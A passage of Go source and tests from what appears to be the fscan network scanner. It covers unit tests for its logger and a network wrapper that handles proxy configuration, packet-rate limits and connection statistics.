logFunc: logger.Success,
|
||||||
|
message: "success message",
|
||||||
|
wantMsg: "success message",
|
||||||
|
wantPfx: PrefixSuccess,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "Vuln级别",
|
||||||
|
logFunc: logger.Vuln,
|
||||||
|
message: "vuln message",
|
||||||
|
wantMsg: "vuln message",
|
||||||
|
wantPfx: PrefixVuln,
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "Error级别",
|
||||||
|
logFunc: logger.Error,
|
||||||
|
message: "error message",
|
||||||
|
wantMsg: "error message",
|
||||||
|
wantPfx: PrefixError,
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
capture.Clear()
|
||||||
|
tt.logFunc(tt.message)
|
||||||
|
|
||||||
|
output := capture.Get()
|
||||||
|
if len(output) != 1 {
|
||||||
|
t.Fatalf("期望1条输出,实际%d条", len(output))
|
||||||
|
}
|
||||||
|
|
||||||
|
msg := output[0]
|
||||||
|
if !strings.Contains(msg, tt.wantMsg) {
|
||||||
|
t.Errorf("输出缺少消息: %s\n实际: %s", tt.wantMsg, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
if !strings.Contains(msg, tt.wantPfx) {
|
||||||
|
t.Errorf("输出缺少前缀: %s\n实际: %s", tt.wantPfx, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证输出格式:前缀 + 空格 + 消息
|
||||||
|
if !strings.HasPrefix(msg, tt.wantPfx) {
|
||||||
|
t.Errorf("输出应该以前缀开头: %s\n实际: %s", tt.wantPfx, msg)
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ %s 输出正确: %s", tt.name, msg)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Logger - 级别过滤测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestLogger_LevelFiltering 测试日志级别过滤
|
||||||
|
//
|
||||||
|
// 验证:不同级别配置下,只输出对应级别的日志
|
||||||
|
func TestLogger_LevelFiltering(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
configLevel LogLevel
|
||||||
|
logLevels map[string]func(*Logger, string)
|
||||||
|
wantOutput map[string]bool // true表示应该输出
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "LevelAll - 显示所有",
|
||||||
|
configLevel: LevelAll,
|
||||||
|
logLevels: map[string]func(*Logger, string){
|
||||||
|
"debug": (*Logger).Debug,
|
||||||
|
"base": (*Logger).Base,
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
"success": (*Logger).Success,
|
||||||
|
"error": (*Logger).Error,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"debug": true, "base": true, "info": true,
|
||||||
|
"success": true, "error": true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "LevelError - 仅错误",
|
||||||
|
configLevel: LevelError,
|
||||||
|
logLevels: map[string]func(*Logger, string){
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
"error": (*Logger).Error,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"info": false, "error": true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "LevelInfoSuccess - 信息和成功",
|
||||||
|
configLevel: LevelInfoSuccess,
|
||||||
|
logLevels: map[string]func(*Logger, string){
|
||||||
|
"base": (*Logger).Base,
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
"success": (*Logger).Success,
|
||||||
|
"error": (*Logger).Error,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"base": false, "info": true,
|
||||||
|
"success": true, "error": true, // Error 始终显示(层级设计)
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "LevelBaseInfoSuccess - 基础、信息和成功",
|
||||||
|
configLevel: LevelBaseInfoSuccess,
|
||||||
|
logLevels: map[string]func(*Logger, string){
|
||||||
|
"debug": (*Logger).Debug,
|
||||||
|
"base": (*Logger).Base,
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
"success": (*Logger).Success,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"debug": false, "base": true,
|
||||||
|
"info": true, "success": true,
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
logger, capture := createTestLogger(tt.configLevel, false)
|
||||||
|
|
||||||
|
for levelName, logFunc := range tt.logLevels {
|
||||||
|
capture.Clear()
|
||||||
|
logFunc(logger, levelName+" message")
|
||||||
|
|
||||||
|
output := capture.Get()
|
||||||
|
shouldOutput := tt.wantOutput[levelName]
|
||||||
|
|
||||||
|
if shouldOutput && len(output) == 0 {
|
||||||
|
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||||
|
}
|
||||||
|
if !shouldOutput && len(output) > 0 {
|
||||||
|
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ %s 过滤测试通过", tt.name)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Logger - 时间格式化测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestLogger_TimeFormatting 测试时间格式化函数
|
||||||
|
//
|
||||||
|
// 验证:formatElapsedTime 对不同时长格式化正确(毫秒、秒、分钟、小时)
|
||||||
|
func TestLogger_TimeFormatting(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
elapsed time.Duration
|
||||||
|
wantStr string
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "0毫秒",
|
||||||
|
elapsed: 0,
|
||||||
|
wantStr: "0ms",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "500毫秒",
|
||||||
|
elapsed: 500 * time.Millisecond,
|
||||||
|
wantStr: "500ms",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "999毫秒",
|
||||||
|
elapsed: 999 * time.Millisecond,
|
||||||
|
wantStr: "999ms",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "1秒",
|
||||||
|
elapsed: 1 * time.Second,
|
||||||
|
wantStr: "1.0s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "30秒",
|
||||||
|
elapsed: 30 * time.Second,
|
||||||
|
wantStr: "30.0s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "59秒",
|
||||||
|
elapsed: 59 * time.Second,
|
||||||
|
wantStr: "59.0s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "1分钟",
|
||||||
|
elapsed: 1 * time.Minute,
|
||||||
|
wantStr: "1m0s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "5分30秒",
|
||||||
|
elapsed: 5*time.Minute + 30*time.Second,
|
||||||
|
wantStr: "5m30s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "59分59秒",
|
||||||
|
elapsed: 59*time.Minute + 59*time.Second,
|
||||||
|
wantStr: "59m59s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "1小时",
|
||||||
|
elapsed: 1 * time.Hour,
|
||||||
|
wantStr: "1h0m0s",
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "2小时30分45秒",
|
||||||
|
elapsed: 2*time.Hour + 30*time.Minute + 45*time.Second,
|
||||||
|
wantStr: "2h30m45s",
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
// 直接测试 formatElapsedTime 函数
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
logger := NewLogger(nil)
|
||||||
|
result := logger.formatElapsedTime(tt.elapsed)
|
||||||
|
|
||||||
|
if result != tt.wantStr {
|
||||||
|
t.Errorf("时间格式错误\n期望: %s\n实际: %s", tt.wantStr, result)
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ %s → %s", tt.name, result)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Logger - 并发安全测试
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestLogger_ConcurrentLogging 测试并发日志输出
|
||||||
|
//
|
||||||
|
// 验证:多个goroutine同时写日志不会panic或丢失
|
||||||
|
func TestLogger_ConcurrentLogging(t *testing.T) {
|
||||||
|
logger, capture := createTestLogger(LevelAll, false)
|
||||||
|
|
||||||
|
numGoroutines := 100
|
||||||
|
logsPerGoroutine := 10
|
||||||
|
totalLogs := numGoroutines * logsPerGoroutine
|
||||||
|
|
||||||
|
var wg sync.WaitGroup
|
||||||
|
wg.Add(numGoroutines)
|
||||||
|
|
||||||
|
// 并发写入不同级别的日志
|
||||||
|
for i := 0; i < numGoroutines; i++ {
|
||||||
|
go func(id int) {
|
||||||
|
defer wg.Done()
|
||||||
|
|
||||||
|
for j := 0; j < logsPerGoroutine; j++ {
|
||||||
|
msg := fmt.Sprintf("goroutine-%d-log-%d", id, j)
|
||||||
|
|
||||||
|
// 随机使用不同级别
|
||||||
|
switch j % 5 {
|
||||||
|
case 0:
|
||||||
|
logger.Debug(msg)
|
||||||
|
case 1:
|
||||||
|
logger.Info(msg)
|
||||||
|
case 2:
|
||||||
|
logger.Success(msg)
|
||||||
|
case 3:
|
||||||
|
logger.Error(msg)
|
||||||
|
case 4:
|
||||||
|
logger.Base(msg)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}(i)
|
||||||
|
}
|
||||||
|
|
||||||
|
wg.Wait()
|
||||||
|
|
||||||
|
// 验证输出数量
|
||||||
|
output := capture.Get()
|
||||||
|
if len(output) != totalLogs {
|
||||||
|
t.Errorf("期望%d条日志,实际%d条(数据丢失或重复)",
|
||||||
|
totalLogs, len(output))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证每条日志格式正确(前缀可能是 "[" 或空格)
|
||||||
|
for i, line := range output {
|
||||||
|
if !strings.HasPrefix(line, "[") && !strings.HasPrefix(line, " ") {
|
||||||
|
t.Errorf("第%d条日志格式错误: %s", i+1, line)
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ 并发日志测试通过(%d个goroutine,共%d条日志)",
|
||||||
|
numGoroutines, totalLogs)
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLogger_NoCoordinatedOutput 测试无协调输出的情况
|
||||||
|
//
|
||||||
|
// 验证:coordinatedOutput为nil时,使用fmt.Println(不会panic)
|
||||||
|
func TestLogger_NoCoordinatedOutput(t *testing.T) {
|
||||||
|
config := &LoggerConfig{
|
||||||
|
Level: LevelAll,
|
||||||
|
EnableColor: false,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
}
|
||||||
|
logger := NewLogger(config)
|
||||||
|
// 不设置 coordinatedOutput
|
||||||
|
|
||||||
|
// 应该不会panic(会使用fmt.Println)
|
||||||
|
defer func() {
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
t.Errorf("不应该panic: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
logger.Info("test message")
|
||||||
|
|
||||||
|
t.Logf("✓ 无协调输出测试通过(使用fmt.Println)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// Logger - 高级功能测试(提升覆盖率)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// TestLogger_SingleLevels 测试单独级别配置
|
||||||
|
//
|
||||||
|
// 验证:层级过滤 - 设置一个级别后,显示该级别及以上的日志,Error始终显示
|
||||||
|
func TestLogger_SingleLevels(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
configLevel LogLevel
|
||||||
|
testLevels map[string]func(*Logger, string)
|
||||||
|
wantOutput map[string]bool
|
||||||
|
}{
|
||||||
|
{
|
||||||
|
name: "LevelDebug - 显示所有",
|
||||||
|
configLevel: LevelDebug,
|
||||||
|
testLevels: map[string]func(*Logger, string){
|
||||||
|
"debug": (*Logger).Debug,
|
||||||
|
"base": (*Logger).Base,
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
"success": (*Logger).Success,
|
||||||
|
"error": (*Logger).Error,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"debug": true, "base": true, "info": true,
|
||||||
|
"success": true, "error": true, // 层级过滤:Debug(0)及以上全显示
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "LevelBase - 基础及以上",
|
||||||
|
configLevel: LevelBase,
|
||||||
|
testLevels: map[string]func(*Logger, string){
|
||||||
|
"debug": (*Logger).Debug,
|
||||||
|
"base": (*Logger).Base,
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"debug": false, "base": true, "info": true, // 层级过滤:Base(1)及以上
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "LevelInfo - 信息及以上",
|
||||||
|
configLevel: LevelInfo,
|
||||||
|
testLevels: map[string]func(*Logger, string){
|
||||||
|
"base": (*Logger).Base,
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"base": false, "info": true, // 层级过滤:Info(2)及以上
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
name: "LevelSuccess - 成功及以上",
|
||||||
|
configLevel: LevelSuccess,
|
||||||
|
testLevels: map[string]func(*Logger, string){
|
||||||
|
"info": (*Logger).Info,
|
||||||
|
"success": (*Logger).Success,
|
||||||
|
},
|
||||||
|
wantOutput: map[string]bool{
|
||||||
|
"info": false, "success": true, // 层级过滤:Success(3)及以上
|
||||||
|
},
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
logger, capture := createTestLogger(tt.configLevel, false)
|
||||||
|
|
||||||
|
for levelName, logFunc := range tt.testLevels {
|
||||||
|
capture.Clear()
|
||||||
|
logFunc(logger, levelName+" message")
|
||||||
|
|
||||||
|
output := capture.Get()
|
||||||
|
shouldOutput := tt.wantOutput[levelName]
|
||||||
|
|
||||||
|
if shouldOutput && len(output) == 0 {
|
||||||
|
t.Errorf("%s: 应该输出但没有输出", levelName)
|
||||||
|
}
|
||||||
|
if !shouldOutput && len(output) > 0 {
|
||||||
|
t.Errorf("%s: 不应该输出但输出了: %v", levelName, output)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ %s 测试通过", tt.name)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLogger_ColorOutput 测试颜色输出
|
||||||
|
//
|
||||||
|
// 验证:EnableColor开关正确控制颜色输出
|
||||||
|
func TestLogger_ColorOutput(t *testing.T) {
|
||||||
|
t.Run("禁用颜色", func(t *testing.T) {
|
||||||
|
logger, capture := createTestLogger(LevelAll, false)
|
||||||
|
logger.Info("test")
|
||||||
|
|
||||||
|
output := capture.Get()
|
||||||
|
if len(output) == 0 {
|
||||||
|
t.Fatal("应该有输出")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 无颜色时,输出就是纯文本
|
||||||
|
if strings.Contains(output[0], "\033[") {
|
||||||
|
t.Error("禁用颜色时不应该包含ANSI转义序列")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ 禁用颜色测试通过")
|
||||||
|
})
|
||||||
|
|
||||||
|
t.Run("启用颜色", func(t *testing.T) {
|
||||||
|
logger, capture := createTestLogger(LevelAll, true)
|
||||||
|
logger.Info("test")
|
||||||
|
|
||||||
|
output := capture.Get()
|
||||||
|
if len(output) == 0 {
|
||||||
|
t.Fatal("应该有输出")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 启用颜色时,输出可能包含颜色(取决于终端支持)
|
||||||
|
// 但不会panic
|
||||||
|
t.Logf("✓ 启用颜色测试通过: %s", output[0])
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLogger_BackwardCompatibility 测试向后兼容性
|
||||||
|
//
|
||||||
|
// 验证:LevelAll 等同于 LevelDebug,显示所有级别
|
||||||
|
func TestLogger_BackwardCompatibility(t *testing.T) {
|
||||||
|
config := &LoggerConfig{
|
||||||
|
Level: LevelAll, // LevelAll 是 LevelDebug 的别名
|
||||||
|
EnableColor: false,
|
||||||
|
ShowProgress: false,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
LevelColors: GetDefaultLevelColors(),
|
||||||
|
}
|
||||||
|
logger := NewLogger(config)
|
||||||
|
capture := &captureOutput{}
|
||||||
|
logger.SetCoordinatedOutput(capture.Write)
|
||||||
|
|
||||||
|
// LevelAll 应该显示所有级别
|
||||||
|
logger.Debug("debug msg")
|
||||||
|
logger.Info("info msg")
|
||||||
|
logger.Error("error msg")
|
||||||
|
|
||||||
|
output := capture.Get()
|
||||||
|
if len(output) != 3 {
|
||||||
|
t.Errorf("LevelAll应该显示所有级别,期望3条,实际%d条", len(output))
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ 向后兼容测试通过(LevelAll显示所有级别)")
|
||||||
|
}
|
||||||
|
|
||||||
|
// TestLogger_Initialize 测试初始化标记
|
||||||
|
//
|
||||||
|
// 验证:Initialize方法正确设置initialized标志
|
||||||
|
func TestLogger_Initialize(t *testing.T) {
|
||||||
|
config := &LoggerConfig{
|
||||||
|
Level: LevelAll,
|
||||||
|
EnableColor: false,
|
||||||
|
ShowProgress: false,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
LevelColors: GetDefaultLevelColors(),
|
||||||
|
}
|
||||||
|
|
||||||
|
// 手动创建logger,跳过NewLogger中的自动初始化
|
||||||
|
logger := &Logger{
|
||||||
|
config: config,
|
||||||
|
initialized: false, // 明确设置为false
|
||||||
|
}
|
||||||
|
|
||||||
|
// 验证初始状态
|
||||||
|
if logger.initialized {
|
||||||
|
t.Error("新创建的logger不应该已初始化")
|
||||||
|
}
|
||||||
|
|
||||||
|
// 调用Initialize
|
||||||
|
logger.Initialize()
|
||||||
|
|
||||||
|
// 验证已初始化
|
||||||
|
if !logger.initialized {
|
||||||
|
t.Error("调用Initialize后应该已初始化")
|
||||||
|
}
|
||||||
|
|
||||||
|
t.Logf("✓ Initialize测试通过")
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestLogger_CloseClosesDebugFile(t *testing.T) {
|
||||||
|
path := filepath.Join(t.TempDir(), "debug.log")
|
||||||
|
logger := NewLogger(&LoggerConfig{
|
||||||
|
Level: LevelAll,
|
||||||
|
EnableColor: false,
|
||||||
|
ShowProgress: false,
|
||||||
|
StartTime: time.Now(),
|
||||||
|
LevelColors: GetDefaultLevelColors(),
|
||||||
|
DebugLogFile: path,
|
||||||
|
})
|
||||||
|
if logger.debugFile == nil {
|
||||||
|
t.Fatal("debug file should be opened")
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.Info("debug file line")
|
||||||
|
logger.Close()
|
||||||
|
if logger.debugFile != nil {
|
||||||
|
t.Fatal("debug file should be nil after Close")
|
||||||
|
}
|
||||||
|
|
||||||
|
content, err := os.ReadFile(path)
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("read debug file: %v", err)
|
||||||
|
}
|
||||||
|
if !strings.Contains(string(content), "debug file line") {
|
||||||
|
t.Fatalf("debug file content = %q", string(content))
|
||||||
|
}
|
||||||
|
|
||||||
|
logger.Close()
|
||||||
|
}
|
||||||
@@ -0,0 +1,199 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
/*
|
||||||
|
network.go - 统一网络操作包装器
|
||||||
|
|
||||||
|
提供便捷的网络连接API,自动处理发包限制检查、代理和统计。
|
||||||
|
*/
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"net"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/i18n"
|
||||||
|
"github.com/shadow1ng/fscan/common/proxy"
|
||||||
|
)
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 全局代理管理器(复用连接,避免重复创建)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
var (
|
||||||
|
globalProxyOnce sync.Once
|
||||||
|
globalProxyDialer proxy.Dialer
|
||||||
|
globalProxyInitErr error
|
||||||
|
)
|
||||||
|
|
||||||
|
// getGlobalDialer 获取全局拨号器(线程安全,只初始化一次)
|
||||||
|
func getGlobalDialer(timeout time.Duration) (proxy.Dialer, error) {
|
||||||
|
globalProxyOnce.Do(func() {
|
||||||
|
// 创建代理配置
|
||||||
|
config := createProxyConfig(timeout)
|
||||||
|
|
||||||
|
// 创建代理管理器
|
||||||
|
manager := proxy.NewProxyManager(config)
|
||||||
|
|
||||||
|
// 创建拨号器
|
||||||
|
globalProxyDialer, globalProxyInitErr = manager.GetDialer()
|
||||||
|
})
|
||||||
|
|
||||||
|
return globalProxyDialer, globalProxyInitErr
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 代理配置
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// parseProxyURL 解析代理URL,提取地址和认证信息
|
||||||
|
func parseProxyURL(proxyURL, fallback string) (host, username, password string) {
|
||||||
|
if !strings.Contains(proxyURL, "://") {
|
||||||
|
if host, username, password, ok := parseProxyURLCandidate("http://" + proxyURL); ok {
|
||||||
|
return host, username, password
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if host, username, password, ok := parseProxyURLCandidate(proxyURL); ok {
|
||||||
|
return host, username, password
|
||||||
|
}
|
||||||
|
return fallback, "", ""
|
||||||
|
}
|
||||||
|
|
||||||
|
func parseProxyURLCandidate(proxyURL string) (host, username, password string, ok bool) {
|
||||||
|
parsedURL, err := url.Parse(proxyURL)
|
||||||
|
if err != nil {
|
||||||
|
return "", "", "", false
|
||||||
|
}
|
||||||
|
host = parsedURL.Host
|
||||||
|
if host == "" {
|
||||||
|
return "", "", "", false
|
||||||
|
}
|
||||||
|
if parsedURL.User != nil {
|
||||||
|
username = parsedURL.User.Username()
|
||||||
|
password, _ = parsedURL.User.Password()
|
||||||
|
}
|
||||||
|
return host, username, password, true
|
||||||
|
}
|
||||||
|
|
||||||
|
// createProxyConfig 根据全局设置创建代理配置
|
||||||
|
func createProxyConfig(timeout time.Duration) *proxy.ProxyConfig {
|
||||||
|
fv := GetFlagVars()
|
||||||
|
config := proxy.DefaultProxyConfig()
|
||||||
|
config.Timeout = timeout
|
||||||
|
config.LocalAddr = fv.Iface // 设置本地网卡IP地址
|
||||||
|
|
||||||
|
// 优先使用SOCKS5代理
|
||||||
|
if fv.Socks5Proxy != "" {
|
||||||
|
config.Type = proxy.ProxyTypeSOCKS5
|
||||||
|
// 确保有协议前缀以便解析
|
||||||
|
socks5URL := fv.Socks5Proxy
|
||||||
|
if !strings.HasPrefix(socks5URL, "socks5://") {
|
||||||
|
socks5URL = "socks5://" + socks5URL
|
||||||
|
}
|
||||||
|
config.Address, config.Username, config.Password = parseProxyURL(socks5URL, fv.Socks5Proxy)
|
||||||
|
return config
|
||||||
|
}
|
||||||
|
|
||||||
|
// 其次使用HTTP代理
|
||||||
|
if fv.HTTPProxy != "" {
|
||||||
|
if strings.HasPrefix(fv.HTTPProxy, "https://") {
|
||||||
|
config.Type = proxy.ProxyTypeHTTPS
|
||||||
|
} else {
|
||||||
|
config.Type = proxy.ProxyTypeHTTP
|
||||||
|
}
|
||||||
|
config.Address, config.Username, config.Password = parseProxyURL(fv.HTTPProxy, fv.HTTPProxy)
|
||||||
|
return config
|
||||||
|
}
|
||||||
|
|
||||||
|
// 无代理配置,使用直连
|
||||||
|
config.Type = proxy.ProxyTypeNone
|
||||||
|
return config
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// TCP 连接
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// Deprecated: WrapperTcpWithTimeout 仅供 libs/grdp 兼容使用,新代码请用 ScanSession.DialTCP
|
||||||
|
//
|
||||||
|
//nolint:revive
|
||||||
|
func WrapperTcpWithTimeout(network, address string, timeout time.Duration) (net.Conn, error) {
|
||||||
|
// 检查发包限制 - 在代理连接前进行控制
|
||||||
|
if canSend, reason := CanSendPacket(); !canSend {
|
||||||
|
LogError(i18n.Tr("tcp_connection_restricted", address, reason))
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取全局拨号器(复用,避免重复创建)
|
||||||
|
dialer, err := getGlobalDialer(timeout)
|
||||||
|
if err != nil {
|
||||||
|
LogError(i18n.Tr("proxy_dialer_failed", err))
|
||||||
|
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 使用代理拨号器连接
|
||||||
|
conn, err := dialer.DialContext(context.Background(), network, address)
|
||||||
|
|
||||||
|
// 统计TCP包数量 - 无论是否使用代理都要计数
|
||||||
|
if err != nil {
|
||||||
|
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||||
|
LogDebug(i18n.Tr("connection_failed", address, err))
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
|
||||||
|
// 连接成功,统计成功包
|
||||||
|
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||||
|
|
||||||
|
return conn, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// SafeTCPDial TCP连接的便捷封装
|
||||||
|
// 直接调用WrapperTcpWithTimeout,自动处理发包限制、代理和统计
|
||||||
|
func SafeTCPDial(address string, timeout time.Duration) (net.Conn, error) {
|
||||||
|
return WrapperTcpWithTimeout("tcp", address, timeout)
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// HTTP 请求
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// IsProxyEnabled 检查是否启用了代理(封装proxy包的函数)
|
||||||
|
func IsProxyEnabled() bool {
|
||||||
|
return proxy.IsProxyEnabled()
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsProxyReliable 检查代理是否可靠(不存在全回显问题)
|
||||||
|
func IsProxyReliable() bool {
|
||||||
|
return proxy.IsProxyReliable()
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsSOCKS5Proxy 检查当前代理是否为SOCKS5类型
|
||||||
|
func IsSOCKS5Proxy() bool {
|
||||||
|
return proxy.IsSOCKS5Proxy()
|
||||||
|
}
|
||||||
|
|
||||||
|
// SafeHTTPDo 带发包控制的HTTP请求
|
||||||
|
func SafeHTTPDo(client *http.Client, req *http.Request) (*http.Response, error) {
|
||||||
|
// 检查发包限制
|
||||||
|
if canSend, reason := CanSendPacket(); !canSend {
|
||||||
|
LogError(i18n.Tr("http_request_restricted", req.URL.String(), reason))
|
||||||
|
return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason))
|
||||||
|
}
|
||||||
|
|
||||||
|
// 执行HTTP请求
|
||||||
|
resp, err := client.Do(req)
|
||||||
|
|
||||||
|
// 统计TCP包数量 (HTTP本质上是TCP)
|
||||||
|
if err != nil {
|
||||||
|
GetGlobalState().IncrementTCPFailedPacketCount()
|
||||||
|
} else {
|
||||||
|
GetGlobalState().IncrementTCPSuccessPacketCount()
|
||||||
|
}
|
||||||
|
|
||||||
|
return resp, err
|
||||||
|
}
|
||||||
@@ -0,0 +1,52 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"net/http"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"github.com/shadow1ng/fscan/common/proxy"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestNetworkFacadeProxyState(t *testing.T) {
|
||||||
|
t.Cleanup(func() { proxy.AutoConfigureProxy(proxy.DefaultProxyConfig()) })
|
||||||
|
proxy.AutoConfigureProxy(proxy.DefaultProxyConfig())
|
||||||
|
|
||||||
|
if IsProxyEnabled() || IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||||
|
t.Fatal("direct global proxy state should be disabled and reliable")
|
||||||
|
}
|
||||||
|
|
||||||
|
proxy.AutoConfigureProxy(&proxy.ProxyConfig{Type: proxy.ProxyTypeSOCKS5})
|
||||||
|
if !IsProxyEnabled() || !IsSOCKS5Proxy() || !IsProxyReliable() {
|
||||||
|
t.Fatal("SOCKS5 global proxy state should be enabled and SOCKS5")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestSafeHTTPDoUsesGlobalPacketLimit(t *testing.T) {
|
||||||
|
previousConfig := GetGlobalConfig()
|
||||||
|
previousState := GetGlobalState()
|
||||||
|
t.Cleanup(func() {
|
||||||
|
SetGlobalConfig(previousConfig)
|
||||||
|
SetGlobalState(previousState)
|
||||||
|
})
|
||||||
|
|
||||||
|
cfg := NewConfig()
|
||||||
|
cfg.Network.MaxPacketCount = 1
|
||||||
|
state := NewState()
|
||||||
|
state.IncrementPacketCount()
|
||||||
|
SetGlobalConfig(cfg)
|
||||||
|
SetGlobalState(state)
|
||||||
|
|
||||||
|
client := &http.Client{Transport: roundTripFunc(func(*http.Request) (*http.Response, error) {
|
||||||
|
t.Fatal("transport should not be called when packet limit is reached")
|
||||||
|
return nil, nil
|
